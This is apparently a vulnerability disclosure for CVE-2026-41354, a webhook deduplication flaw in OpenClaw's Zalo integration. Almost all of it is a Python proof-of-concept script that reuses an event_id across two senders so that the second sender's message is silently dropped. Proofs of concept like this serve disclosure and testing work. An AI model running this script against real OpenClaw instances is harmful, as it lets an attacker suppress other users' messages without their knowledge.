CVE-2026-41354 OpenClaw Zalo webhook去重作用域不足漏洞

import requests # Proof of Concept for CVE-2026-41354 # Description: Demonstrates how messages from different senders can collide # due to insufficient scope in deduplication keys. target_url = "https://target-openclaw-instance.com/webhook/zalo" # Payload for Sender A in Conversation 1 # Assuming the dedupe key is based only on 'event_id' or 'timestamp' payload_sender_a = { "event_id": "12345", "sender_id": "user_alice", "conversation_id": "chat_1", "message": "Hello from Alice" } # Payload for Sender B in Conversation 2 # Attacker reuses the 'event_id' to trigger the dedupe collision payload_sender_b = { "event_id": "12345", # Collision key "sender_id": "user_bob", "conversation_id": "chat_2", "message": "Critical message from Bob" } # Send first message print("Sending message from Alice...") requests.post(target_url, json=payload_sender_a) # Send second message (Simulated Attack) # OpenClaw should treat this as a duplicate and suppress it print("Sending colliding message from Bob...") response = requests.post(target_url, json=payload_sender_b) print(f"Response status: {response.status_code}") print("If vulnerable, Bob's message is silently ignored.")